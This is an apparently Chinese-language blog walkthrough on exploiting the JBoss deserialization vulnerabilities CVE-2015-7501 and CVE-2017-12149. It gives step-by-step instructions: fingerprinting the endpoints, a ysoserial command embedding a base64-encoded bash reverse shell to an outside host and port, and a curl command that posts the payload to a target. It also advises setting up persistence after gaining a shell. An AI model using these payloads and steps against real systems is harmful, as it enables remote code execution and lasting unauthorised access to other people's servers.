最近复现jboss反序列化漏洞的时候发现,JMXInvokerServlet 反序列化漏洞和Jboss 的 HttpInvoker 组件中的ReadOnlyAccessFilter 过滤器的漏洞可以是同一个操作思路就能进行“一打二”
CVE-2015-7501漏洞:JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。
CVE-2017-12149漏洞:该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
以下攻击方法适用于CVE-2015-7501和CVE-2017-12149
CVE-2017-12149适用JBoss版本:5.x / 6.x
踩坑提醒:生成的ser文件最好在linux系统操作,windows会出现各种错误,甚至shell反弹不回来。最后实验是成功了,但实战中和测试中发现,shell的存活时间不长,大概5-10分钟就会断开,所以getshell后最好做维持权限
步骤:
发现漏洞指纹→反弹shell进行编码→用ysoserial把编码好的反弹shell生ser文件→启动监听→用curl或者burpsuit对/invoker/JMXInvokerServlet发送ser文件→获得反弹shell
JMXInvokerServlet漏洞指纹:
访问/invoker/JMXInvokerServlet目录,会有Servlet组件弹框提示下载
jboss 6.0反序列化漏洞指纹:
该漏洞出现在/invoker/readonly请求中
把bash反弹shell进行编码
http://www.jackson-t.ca/runtime-exec-payloads.html
ysoserial包下载地址
https://github.com/frohoff/ysoserial
利用ysoserial.jar包的CommonsCollections5链把要执行的反弹shell生成一个ser文件
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9jbi1mei1keC5zYWt1cmFmcnAuY29tLzI4ODQ0IDA+JjE=}|{base64,-d}|{bash,-i}">aufeng.ser
对invoker/JMXInvokerServlet目录使用post请求,右击用Paste from file把生成的ser文件上传然后发包(记得另开监听端口先进行监听)
成功获得反弹的shell
也可以使用curl来进行发包
curl http://目标IP:8080/invoker/JMXInvokerServlet --data-binary @aufeng.ser
CVE-2017-12149工具使用:
该工具只适用CVE-2017-12149,并不适用JMXInvokerServlet 反序列化漏洞,但是通过ysoserial包生成cer的方法,适用以上两个漏洞